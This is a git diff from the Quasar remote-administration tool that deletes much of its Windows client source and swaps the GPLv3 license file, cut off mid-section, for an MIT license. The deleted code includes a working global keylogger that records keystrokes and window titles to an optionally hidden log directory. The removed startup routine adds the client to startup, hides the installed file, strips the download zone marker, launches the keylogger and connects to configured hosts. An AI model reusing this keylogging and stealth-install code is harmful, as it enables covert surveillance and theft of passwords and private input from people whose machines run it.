();
- private string _lastWindowTitle;
- private bool _ignoreSpecialKeys;
- private IKeyboardMouseEvents _mEvents;
-
- ///
- /// Creates the keylogger instance that provides keylogging functionality and starts it.
- ///
- /// The interval to flush the buffer to the logfile.
- public Keylogger(double flushInterval)
- {
- Instance = this;
- _lastWindowTitle = string.Empty;
- _logFileBuffer = new StringBuilder();
-
- Subscribe(Hook.GlobalEvents());
-
- _timerFlush = new Timer { Interval = flushInterval };
- _timerFlush.Elapsed += timerFlush_Elapsed;
- _timerFlush.Start();
-
- WriteFile();
- }
-
- ///
- /// Disposes used resources by this class.
- ///
- public void Dispose()
- {
- Dispose(true);
-
- GC.SuppressFinalize(this);
- }
-
- protected virtual void Dispose(bool disposing)
- {
- if (!IsDisposed)
- {
- if (disposing)
- {
- if (_timerFlush != null)
- {
- _timerFlush.Stop();
- _timerFlush.Dispose();
- }
- }
-
- Unsubscribe();
-
- IsDisposed = true;
- }
- }
-
- private void Subscribe(IKeyboardMouseEvents events)
- {
- _mEvents = events;
- _mEvents.KeyDown += OnKeyDown;
- _mEvents.KeyUp += OnKeyUp;
- _mEvents.KeyPress += OnKeyPress;
- }
-
- private void Unsubscribe()
- {
- if (_mEvents == null) return;
- _mEvents.KeyDown -= OnKeyDown;
- _mEvents.KeyUp -= OnKeyUp;
- _mEvents.KeyPress -= OnKeyPress;
- _mEvents.Dispose();
- }
-
- private void OnKeyDown(object sender, KeyEventArgs e) //Called first
- {
- string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title
- if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
- {
- _lastWindowTitle = activeWindowTitle;
- _logFileBuffer.Append(@"
["
- + KeyloggerHelper.Filter(activeWindowTitle) + " - "
- + DateTime.Now.ToString("HH:mm")
- + "]
");
- }
-
- if (_pressedKeys.IsModifierKeysSet())
- {
- if (!_pressedKeys.Contains(e.KeyCode))
- {
- Debug.WriteLine("OnKeyDown: " + e.KeyCode);
- _pressedKeys.Add(e.KeyCode);
- return;
- }
- }
-
- if (!e.KeyCode.IsExcludedKey())
- {
- // The key was not part of the keys that we wish to filter, so
- // be sure to prevent a situation where multiple keys are pressed.
- if (!_pressedKeys.Contains(e.KeyCode))
- {
- Debug.WriteLine("OnKeyDown: " + e.KeyCode);
- _pressedKeys.Add(e.KeyCode);
- }
- }
- }
-
- //This method should be used to process all of our unicode characters
- private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
- {
- if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
- return;
-
- if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
- {
- var filtered = KeyloggerHelper.Filter(e.KeyChar);
- if (!string.IsNullOrEmpty(filtered))
- {
- Debug.WriteLine("OnKeyPress Output: " + filtered);
- if (_pressedKeys.IsModifierKeysSet())
- _ignoreSpecialKeys = true;
-
- _pressedKeyChars.Add(e.KeyChar);
- _logFileBuffer.Append(filtered);
- }
- }
- }
-
- private void OnKeyUp(object sender, KeyEventArgs e) //Called third
- {
- _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
- _pressedKeyChars.Clear();
- }
-
- private string HighlightSpecialKeys(Keys[] keys)
- {
- if (keys.Length < 1) return string.Empty;
-
- string[] names = new string[keys.Length];
- for (int i = 0; i < keys.Length; i++)
- {
- if (!_ignoreSpecialKeys)
- {
- names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
- Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
- }
- else
- {
- names[i] = string.Empty;
- _pressedKeys.Remove(keys[i]);
- }
- }
-
- _ignoreSpecialKeys = false;
-
- if (_pressedKeys.IsModifierKeysSet())
- {
- StringBuilder specialKeys = new StringBuilder();
-
- int validSpecialKeys = 0;
- for (int i = 0; i < names.Length; i++)
- {
- _pressedKeys.Remove(keys[i]);
- if (string.IsNullOrEmpty(names[i])) continue;
-
- specialKeys.AppendFormat((validSpecialKeys == 0) ? @"[{0}" : " + {0}", names[i]);
- validSpecialKeys++;
- }
-
- // If there are items in the special keys string builder, give it an ending tag
- if (validSpecialKeys > 0)
- specialKeys.Append("]
");
-
- Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString());
- return specialKeys.ToString();
- }
-
- StringBuilder normalKeys = new StringBuilder();
-
- for (int i = 0; i < names.Length; i++)
- {
- _pressedKeys.Remove(keys[i]);
- if (string.IsNullOrEmpty(names[i])) continue;
-
- switch (names[i])
- {
- case "Return":
- normalKeys.Append(@"[Enter]
");
- break;
- case "Escape":
- normalKeys.Append(@"[Esc]
");
- break;
- default:
- normalKeys.Append(@"[" + names[i] + "]
");
- break;
- }
- }
-
- Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString());
- return normalKeys.ToString();
- }
-
- private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
- {
- if (_logFileBuffer.Length > 0 && !QuasarClient.Exiting)
- WriteFile();
- }
-
- private void WriteFile()
- {
- bool writeHeader = false;
-
- string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));
-
- try
- {
- DirectoryInfo di = new DirectoryInfo(LogDirectory);
-
- if (!di.Exists)
- di.Create();
-
- if (Settings.HIDELOGDIRECTORY)
- di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
-
- if (!File.Exists(filename))
- writeHeader = true;
-
- StringBuilder logFile = new StringBuilder();
-
- if (writeHeader)
- {
- logFile.Append(
- "Log created on " +
- DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "
");
-
- logFile.Append("");
-
- _lastWindowTitle = string.Empty;
- }
-
- if (_logFileBuffer.Length > 0)
- {
-
- logFile.Append(_logFileBuffer);
- }
-
- FileHelper.WriteLogFile(filename, logFile.ToString());
-
- logFile.Clear();
- }
- catch
- {
- }
-
- _logFileBuffer.Clear();
- }
- }
-}
\ No newline at end of file
diff --git a/Client/Core/Utilities/NativeMethods.cs b/Client/Core/Utilities/NativeMethods.cs
deleted file mode 100644
index 12b433b1d..000000000
--- a/Client/Core/Utilities/NativeMethods.cs
+++ /dev/null
@@ -1,83 +0,0 @@
-using System;
-using System.Runtime.InteropServices;
-
-namespace xClient.Core.Utilities
-{
- ///
- /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll).
- ///
- public static class NativeMethods
- {
- [StructLayout(LayoutKind.Sequential)]
- public struct LASTINPUTINFO
- {
- public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO));
- [MarshalAs(UnmanagedType.U4)]
- public UInt32 cbSize;
- [MarshalAs(UnmanagedType.U4)]
- public UInt32 dwTime;
- }
-
- [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- public static extern bool DeleteFile(string name);
-
- [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
- public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- public static extern IntPtr GetProcAddress(IntPtr hModule,
- [MarshalAs(UnmanagedType.LPStr)]string procName);
-
- [DllImport("user32.dll")]
- public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
-
- [DllImport("user32.dll")]
- public static extern bool SetCursorPos(int x, int y);
-
- [DllImport("user32.dll")]
- public static extern void mouse_event(uint dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
-
- [DllImport("user32.dll")]
- public static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
-
- ///
- /// Performs a bit-block transfer of the color data corresponding to a
- /// rectangle of pixels from the specified source device context into
- /// a destination device context.
- ///
- /// Handle to the destination device context.
- /// The leftmost x-coordinate of the destination rectangle (in pixels).
- /// The topmost y-coordinate of the destination rectangle (in pixels).
- /// The width of the source and destination rectangles (in pixels).
- /// The height of the source and the destination rectangles (in pixels).
- /// Handle to the source device context.
- /// The leftmost x-coordinate of the source rectangle (in pixels).
- /// The topmost y-coordinate of the source rectangle (in pixels).
- /// A raster-operation code.
- ///
- /// true if the operation succeedes, false otherwise. To get extended error information, call .
- ///
- [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- public static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
-
- [DllImport("gdi32.dll")]
- public static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
-
- [DllImport("gdi32.dll")]
- public static extern bool DeleteDC([In] IntPtr hdc);
-
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
-
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
-
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
-
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- public static extern unsafe int memcpy(void* dst, void* src, uint count);
- }
-}
diff --git a/Client/Enums/MouseAction.cs b/Client/Enums/MouseAction.cs
deleted file mode 100644
index 17ac3a9aa..000000000
--- a/Client/Enums/MouseAction.cs
+++ /dev/null
@@ -1,14 +0,0 @@
-namespace xClient.Enums
-{
- public enum MouseAction
- {
- LeftDown,
- LeftUp,
- RightDown,
- RightUp,
- MoveCursor,
- ScrollUp,
- ScrollDown,
- None
- }
-}
diff --git a/Client/Enums/PathType.cs b/Client/Enums/PathType.cs
deleted file mode 100644
index c07d7023f..000000000
--- a/Client/Enums/PathType.cs
+++ /dev/null
@@ -1,9 +0,0 @@
-namespace xClient.Enums
-{
- public enum PathType
- {
- File,
- Directory,
- Back
- }
-}
diff --git a/Client/Enums/RegistrySearchAction.cs b/Client/Enums/RegistrySearchAction.cs
deleted file mode 100644
index ce9d4f770..000000000
--- a/Client/Enums/RegistrySearchAction.cs
+++ /dev/null
@@ -1,30 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-
-namespace xClient.Enums
-{
- /*
- * Derived and Adapted By Justin Yanke
- * github: https://github.com/yankejustin
- * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- * This code is created by Justin Yanke.
- * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- * No modifications made
- * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- * Original Source:
- * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Enums/RegistrySearchAction.cs
- */
-
- ///
- /// Specifies the items to retrieve and send when searching the registry.
- ///
- [Flags]
- public enum RegistrySearchAction
- {
- Keys,
- Values,
- Data
- }
-}
diff --git a/Client/Enums/UserStatus.cs b/Client/Enums/UserStatus.cs
deleted file mode 100644
index b8119d029..000000000
--- a/Client/Enums/UserStatus.cs
+++ /dev/null
@@ -1,8 +0,0 @@
-namespace xClient.Enums
-{
- public enum UserStatus
- {
- Idle,
- Active
- }
-}
diff --git a/Client/Program.cs b/Client/Program.cs
deleted file mode 100644
index 98c795244..000000000
--- a/Client/Program.cs
+++ /dev/null
@@ -1,141 +0,0 @@
-using System;
-using System.Diagnostics;
-using System.IO;
-using System.Threading;
-using System.Windows.Forms;
-using xClient.Config;
-using xClient.Core.Commands;
-using xClient.Core.Cryptography;
-using xClient.Core.Data;
-using xClient.Core.Helper;
-using xClient.Core.Installation;
-using xClient.Core.Networking;
-using xClient.Core.Utilities;
-
-namespace xClient
-{
- internal static class Program
- {
- public static QuasarClient ConnectClient;
- private static ApplicationContext _msgLoop;
-
- [STAThread]
- private static void Main(string[] args)
- {
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
-
- if (Settings.Initialize())
- {
- if (Initialize())
- {
- if (!QuasarClient.Exiting)
- ConnectClient.Connect();
- }
- }
-
- Cleanup();
- Exit();
- }
-
- private static void Exit()
- {
- // Don't wait for other threads
- if (_msgLoop != null || Application.MessageLoop)
- Application.Exit();
- else
- Environment.Exit(0);
- }
-
- private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
- {
- if (e.IsTerminating)
- {
- string batchFile = FileHelper.CreateRestartBatch();
- if (string.IsNullOrEmpty(batchFile)) return;
-
- ProcessStartInfo startInfo = new ProcessStartInfo
- {
- WindowStyle = ProcessWindowStyle.Hidden,
- UseShellExecute = true,
- FileName = batchFile
- };
- Process.Start(startInfo);
- Exit();
- }
- }
-
- private static void Cleanup()
- {
- CommandHandler.CloseShell();
- if (CommandHandler.StreamCodec != null)
- CommandHandler.StreamCodec.Dispose();
- if (Keylogger.Instance != null)
- Keylogger.Instance.Dispose();
- if (_msgLoop != null)
- {
- _msgLoop.ExitThread();
- _msgLoop.Dispose();
- _msgLoop = null;
- }
- MutexHelper.CloseMutex();
- }
-
- private static bool Initialize()
- {
- var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
-
- // process with same mutex is already running
- if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
- return false;
-
- AES.SetDefaultKey(Settings.PASSWORD);
- ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
- GeoLocationHelper.Initialize();
-
- FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
-
- if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
- {
- WindowsAccountHelper.StartUserIdleCheckThread();
-
- if (Settings.STARTUP)
- {
- if (!Startup.AddToStartup())
- ClientData.AddToStartupFailed = true;
- }
-
- if (Settings.INSTALL && Settings.HIDEFILE)
- {
- try
- {
- File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
- }
- catch (Exception)
- {
- }
- }
-
- if (Settings.ENABLELOGGER)
- {
- new Thread(() =>
- {
- _msgLoop = new ApplicationContext();
- Keylogger logger = new Keylogger(15000);
- Application.Run(_msgLoop);
- }) {IsBackground = true}.Start();
- }
-
- ConnectClient = new QuasarClient(hosts);
- return true;
- }
- else
- {
- MutexHelper.CloseMutex();
- ClientInstaller.Install(ConnectClient);
- return false;
- }
- }
- }
-}
\ No newline at end of file
diff --git a/Client/images/information.png b/Client/images/information.png
deleted file mode 100644
index 6205729f7..000000000
Binary files a/Client/images/information.png and /dev/null differ
diff --git a/Images/remote-desktop.png b/Images/remote-desktop.png
new file mode 100644
index 000000000..e8bb4dc1e
Binary files /dev/null and b/Images/remote-desktop.png differ
diff --git a/Images/remote-files.png b/Images/remote-files.png
new file mode 100644
index 000000000..ec9fea11d
Binary files /dev/null and b/Images/remote-files.png differ
diff --git a/Images/remote-shell.png b/Images/remote-shell.png
new file mode 100644
index 000000000..16dd99f88
Binary files /dev/null and b/Images/remote-shell.png differ
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 000000000..77a1c0b61
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2023 MaxXor
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/LICENSE.md b/LICENSE.md
deleted file mode 100644
index 16d89e0a3..000000000
--- a/LICENSE.md
+++ /dev/null
@@ -1,596 +0,0 @@
-GNU GENERAL PUBLIC LICENSE
-==========================
-
-Version 3, 29 June 2007
-
-Copyright © 2007 Free Software Foundation, Inc. <>
-
-Everyone is permitted to copy and distribute verbatim copies of this license
-document, but changing it is not allowed.
-
-## Preamble
-
-The GNU General Public License is a free, copyleft license for software and other
-kinds of works.
-
-The licenses for most software and other practical works are designed to take away
-your freedom to share and change the works. By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change all versions of a
-program--to make sure it remains free software for all its users. We, the Free
-Software Foundation, use the GNU General Public License for most of our software; it
-applies also to any other work released this way by its authors. You can apply it to
-your programs, too.
-
-When we speak of free software, we are referring to freedom, not price. Our General
-Public Licenses are designed to make sure that you have the freedom to distribute
-copies of free software (and charge for them if you wish), that you receive source
-code or can get it if you want it, that you can change the software or use pieces of
-it in new free programs, and that you know you can do these things.
-
-To protect your rights, we need to prevent others from denying you these rights or
-asking you to surrender the rights. Therefore, you have certain responsibilities if
-you distribute copies of the software, or if you modify it: responsibilities to
-respect the freedom of others.
-
-For example, if you distribute copies of such a program, whether gratis or for a fee,
-you must pass on to the recipients the same freedoms that you received. You must make
-sure that they, too, receive or can get the source code. And you must show them these
-terms so they know their rights.
-
-Developers that use the GNU GPL protect your rights with two steps: (1) assert
-copyright on the software, and (2) offer you this License giving you legal permission
-to copy, distribute and/or modify it.
-
-For the developers' and authors' protection, the GPL clearly explains that there is
-no warranty for this free software. For both users' and authors' sake, the GPL
-requires that modified versions be marked as changed, so that their problems will not
-be attributed erroneously to authors of previous versions.
-
-Some devices are designed to deny users access to install or run modified versions of
-the software inside them, although the manufacturer can do so. This is fundamentally
-incompatible with the aim of protecting users' freedom to change the software. The
-systematic pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable. Therefore, we have designed
-this version of the GPL to prohibit the practice for those products. If such problems
-arise substantially in other domains, we stand ready to extend this provision to
-those domains in future versions of the GPL, as needed to protect the freedom of
-users.
-
-Finally, every program is threatened constantly by software patents. States should
-not allow patents to restrict development and use of software on general-purpose
-computers, but in those that do, we wish to avoid the special danger that patents
-applied to a free program could make it effectively proprietary. To prevent this, the
-GPL assures that patents cannot be used to render the program non-free.
-
-The precise terms and conditions for copying, distribution and modification follow.
-
-## TERMS AND CONDITIONS
-
-### 0. Definitions.
-
-“This License” refers to version 3 of the GNU General Public License.
-
-“Copyright” also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
-“The Program” refers to any copyrightable work licensed under this
-License. Each licensee is addressed as “you”. “Licensees” and
-“recipients” may be individuals or organizations.
-
-To “modify” a work means to copy from or adapt all or part of the work in
-a fashion requiring copyright permission, other than the making of an exact copy. The
-resulting work is called a “modified version” of the earlier work or a
-work “based on” the earlier work.
-
-A “covered work” means either the unmodified Program or a work based on
-the Program.
-
-To “propagate” a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for infringement under
-applicable copyright law, except executing it on a computer or modifying a private
-copy. Propagation includes copying, distribution (with or without modification),
-making available to the public, and in some countries other activities as well.
-
-To “convey” a work means any kind of propagation that enables other
-parties to make or receive copies. Mere interaction with a user through a computer
-network, with no transfer of a copy, is not conveying.
-
-An interactive user interface displays “Appropriate Legal Notices” to the
-extent that it includes a convenient and prominently visible feature that (1)
-displays an appropriate copyright notice, and (2) tells the user that there is no
-warranty for the work (except to the extent that warranties are provided), that
-licensees may convey the work under this License, and how to view a copy of this
-License. If the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
-### 1. Source Code.
-
-The “source code” for a work means the preferred form of the work for
-making modifications to it. “Object code” means any non-source form of a
-work.
-
-A “Standard Interface” means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of interfaces
-specified for a particular programming language, one that is widely used among
-developers working in that language.
-
-The “System Libraries” of an executable work include anything, other than
-the work as a whole, that (a) is included in the normal form of packaging a Major
-Component, but which is not part of that Major Component, and (b) serves only to
-enable use of the work with that Major Component, or to implement a Standard
-Interface for which an implementation is available to the public in source code form.
-A “Major Component”, in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system (if any) on which
-the executable work runs, or a compiler used to produce the work, or an object code
-interpreter used to run it.
-
-The “Corresponding Source” for a work in object code form means all the
-source code needed to generate, install, and (for an executable work) run the object
-code and to modify the work, including scripts to control those activities. However,
-it does not include the work's System Libraries, or general-purpose tools or
-generally available free programs which are used unmodified in performing those
-activities but which are not part of the work. For example, Corresponding Source
-includes interface definition files associated with source files for the work, and
-the source code for shared libraries and dynamically linked subprograms that the work
-is specifically designed to require, such as by intimate data communication or
-control flow between those subprograms and other parts of the work.
-
-The Corresponding Source need not include anything that users can regenerate
-automatically from other parts of the Corresponding Source.
-
-The Corresponding Source for a work in source code form is that same work.
-
-### 2. Basic Permissions.
-
-All rights granted under this License are granted for the term of copyright on the
-Program, and are irrevocable provided the stated conditions are met. This License
-explicitly affirms your unlimited permission to run the unmodified Program. The
-output from running a covered work is covered by this License only if the output,
-given its content, constitutes a covered work. This License acknowledges your rights
-of fair use or other equivalent, as provided by copyright law.
-
-You may make, run and propagate covered works that you do not convey, without
-conditions so long as your license otherwise remains in force. You may convey covered
-works to others for the sole purpose of having them make modifications exclusively
-for you, or provide you with facilities for running those works, provided that you
-comply with the terms of this License in conveying all material for which you do not
-control copyright. Those thus making or running the covered works for you must do so
-exclusively on your behalf, under your direction and control, on terms that prohibit
-them from making any copies of your copyrighted material outside their relationship
-with you.
-
-Conveying under any other circumstances is permitted solely under the conditions
-stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
-
-### 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
-No covered work shall be deemed part of an effective technological measure under any
-applicable law fulfilling obligations under article 11 of the WIPO copyright treaty
-adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention
-of such measures.
-
-When you convey a covered work, you waive any legal power to forbid circumvention of
-technological measures to the extent such circumvention is effected by exercising
-rights under this License with respect to the covered work, and you disclaim any
-intention to limit operation or modification of the work as a means of enforcing,
-against the work's users, your or third parties' legal rights to forbid circumvention
-of technological measures.
-
-### 4. Conveying Verbatim Copies.
-
-You may convey verbatim copies of the Program's source code as you receive it, in any
-medium, provided that you conspicuously and appropriately publish on each copy an
-appropriate copyright notice; keep intact all notices stating that this License and
-any non-permissive terms added in accord with section 7 apply to the code; keep
-intact all notices of the absence of any warranty; and give all recipients a copy of
-this License along with the Program.
-
-You may charge any price or no price for each copy that you convey, and you may offer
-support or warranty protection for a fee.
-
-### 5. Conveying Modified Source Versions.
-
-You may convey a work based on the Program, or the modifications to produce it from
-the Program, in the form of source code under the terms of section 4, provided that
-you also meet all of these conditions:
-
-* **a)** The work must carry prominent notices stating that you modified it, and giving a
-relevant date.
-* **b)** The work must carry prominent notices stating that it is released under this
-License and any conditions added under section 7. This requirement modifies the
-requirement in section 4 to “keep intact all notices”.
-* **c)** You must license the entire work, as a whole, under this License to anyone who
-comes into possession of a copy. This License will therefore apply, along with any
-applicable section 7 additional terms, to the whole of the work, and all its parts,
-regardless of how they are packaged. This License gives no permission to license the
-work in any other way, but it does not invalidate such permission if you have
-separately received it.
-* **d)** If the work has interactive user interfaces, each must display Appropriate Legal
-Notices; however, if the Program has interactive interfaces that do not display
-Appropriate Legal Notices, your work need not make them do so.
-
-A compilation of a covered work with other separate and independent works, which are
-not by their nature extensions of the covered work, and which are not combined with
-it such as to form a larger program, in or on a volume of a storage or distribution
-medium, is called an “aggregate” if the compilation and its resulting
-copyright are not used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit. Inclusion of a covered work in an aggregate
-does not cause this License to apply to the other parts of the aggregate.
-
-### 6. Conveying Non-Source Forms.
-
-You may convey a covered work in object code form under the terms of sections 4 and
-5, provided that you also convey the machine-readable Corresponding Source under the
-terms of this License, in one of these ways:
-
-* **a)** Convey the object code in, or embodied in, a physical product (including a
-physical distribution medium), accompanied by the Corresponding Source fixed on a
-durable physical medium customarily used for software interchange.
-* **b)** Convey the object code in, or embodied in, a physical product (including a
-physical distribution medium), accompanied by a written offer, valid for at least
-three years and valid for as long as you offer spare parts or customer support for
-that product model, to give anyone who possesses the object code either (1) a copy of
-the Corresponding Source for all the software in the product that is covered by this
-License, on a durable physical medium customarily used for software interchange, for
-a price no more than your reasonable cost of physically performing this conveying of
-source, or (2) access to copy the Corresponding Source from a network server at no
-charge.
-* **c)** Convey individual copies of the object code with a copy of the written offer to
-provide the Corresponding Source. This alternative is allowed only occasionally and
-noncommercially, and only if you received the object code with such an offer, in
-accord with subsection 6b.
-* **d)** Convey the object code by offering access from a designated place (gratis or for
-a charge), and offer equivalent access to the Corresponding Source in the same way
-through the same place at no further charge. You need not require recipients to copy
-the Corresponding Source along with the object code. If the place to copy the object
-code is a network server, the Corresponding Source may be on a different server
-(operated by you or a third party) that supports equivalent copying facilities,
-provided you maintain clear directions next to the object code saying where to find
-the Corresponding Source. Regardless of what server hosts the Corresponding Source,
-you remain obligated to ensure that it is available for as long as needed to satisfy
-these requirements.
-* **e)** Convey the object code using peer-to-peer transmission, provided you inform
-other peers where the object code and Corresponding Source of the work are being
-offered to the general public at no charge under subsection 6d.
-
-A separable portion of the object code, whose source code is excluded from the
-Corresponding Source as a System Library, need not be included in conveying the
-object code work.
-
-A “User Product” is either (1) a “consumer product”, which
-means any tangible personal property which is normally used for personal, family, or
-household purposes, or (2) anything designed or sold for incorporation into a
-dwelling. In determining whether a product is a consumer product, doubtful cases
-shall be resolved in favor of coverage. For a particular product received by a
-particular user, “normally used” refers to a typical or common use of
-that class of product, regardless of the status of the particular user or of the way
-in which the particular user actually uses, or expects or is expected to use, the
-product. A product is a consumer product regardless of whether the product has
-substantial commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
-“Installation Information” for a User Product means any methods,
-procedures, authorization keys, or other information required to install and execute
-modified versions of a covered work in that User Product from a modified version of
-its Corresponding Source. The information must suffice to ensure that the continued
-functioning of the modified object code is in no case prevented or interfered with
-solely because modification has been made.
-
-If you convey an object code work under this section in, or with, or specifically for
-use in, a User Product, and the conveying occurs as part of a transaction in which
-the right of possession and use of the User Product is transferred to the recipient
-in perpetuity or for a fixed term (regardless of how the transaction is
-characterized), the Corresponding Source conveyed under this section must be
-accompanied by the Installation Information. But this requirement does not apply if
-neither you nor any third party retains the ability to install modified object code
-on the User Product (for example, the work has been installed in ROM).
-
-The requirement to provide Installation Information does not include a requirement to
-continue to provide support service, warranty, or updates for a work that has been
-modified or installed by the recipient, or for the User Product in which it has been
-modified or installed. Access to a network may be denied when the modification itself
-materially and adversely affects the operation of the network or violates the rules
-and protocols for communication across the network.
-
-Corresponding Source conveyed, and Installation Information provided, in accord with
-this section must be in a format that is publicly documented (and with an
-implementation available to the public in source code form), and must require no
-special password or key for unpacking, reading or copying.
-
-### 7. Additional Terms.
-
-“Additional permissions” are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions. Additional
-permissions that are applicable to the entire Program shall be treated as though they
-were included in this License, to the extent that they are valid under applicable
-law. If additional permissions apply only to part of the Program, that part may be
-used separately under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
-When you convey a copy of a covered work, you may at your option remove any
-additional permissions from that copy, or from any part of it. (Additional
-permissions may be written to require their own removal in certain cases when you
-modify the work.) You may place additional permissions on material, added by you to a
-covered work, for which you have or can give appropriate copyright permission.
-
-Notwithstanding any other provision of this License, for material you add to a
-covered work, you may (if authorized by the copyright holders of that material)
-supplement the terms of this License with terms:
-
-* **a)** Disclaiming warranty or limiting liability differently from the terms of
-sections 15 and 16 of this License; or
-* **b)** Requiring preservation of specified reasonable legal notices or author
-attributions in that material or in the Appropriate Legal Notices displayed by works
-containing it; or
-* **c)** Prohibiting misrepresentation of the origin of that material, or requiring that
-modified versions of such material be marked in reasonable ways as different from the
-original version; or
-* **d)** Limiting the use for publicity purposes of names of licensors or authors of the
-material; or
-* **e)** Declining to grant rights under trademark law for use of some trade names,
-trademarks, or service marks; or
-* **f)** Requiring indemnification of licensors and authors of that material by anyone
-who conveys the material (or modified versions of it) with contractual assumptions of
-liability to the recipient, for any liability that these contractual assumptions
-directly impose on those licensors and authors.
-
-All other non-permissive additional terms are considered “further
-restrictions” within the meaning of section 10. If the Program as you received
-it, or any part of it, contains a notice stating that it is governed by this License
-along with a term that is a further restriction, you may remove that term. If a
-license document contains a further restriction but permits relicensing or conveying
-under this License, you may add to a covered work material governed by the terms of
-that license document, provided that the further restriction does not survive such
-relicensing or conveying.
-
-If you add terms to a covered work in accord with this section, you must place, in
-the relevant source files, a statement of the additional terms that apply to those
-files, or a notice indicating where to find the applicable terms.
-
-Additional terms, permissive or non-permissive, may be stated in the form of a
-separately written license, or stated as exceptions; the above requirements apply
-either way.
-
-### 8. Termination.
-
-You may not propagate or modify a covered work except as expressly provided under
